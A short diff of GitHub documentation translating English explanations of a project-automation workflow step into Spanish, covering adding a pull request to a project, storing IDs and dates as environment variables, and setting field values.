-Uses {% data variables.product.prodname_cli %} and the API to add the pull request that triggered this workflow to the project. The jq flag parses the response to get the ID of the created item. +Usa {% data variables.product.prodname_cli %} y la API para agregar la solicitud de incorporación de cambios que ha desencadenado este flujo de trabajo al proyecto. La marca jq analiza la respuesta para obtener el identificador del elemento creado.
-Stores the ID of the created item as an environment variable. +Almacena la ID del elemento creado como variable de ambiente.
-Saves the current date as an environment variable in yyyy-mm-dd format. +Guarda la fecha actual como una variable de entorno con el formato yyyy-mm-dd.
-Sets environment variables for this step. GITHUB_TOKEN is described above. +Configura las variables para este paso. GITHUB_TOKEN se ha descrito anteriormente.
-Sets the value of the Status field to Todo. Sets the value of the Date posted field. +Establece el valor del campo Status en Todo. Establece el valor del campo Date posted.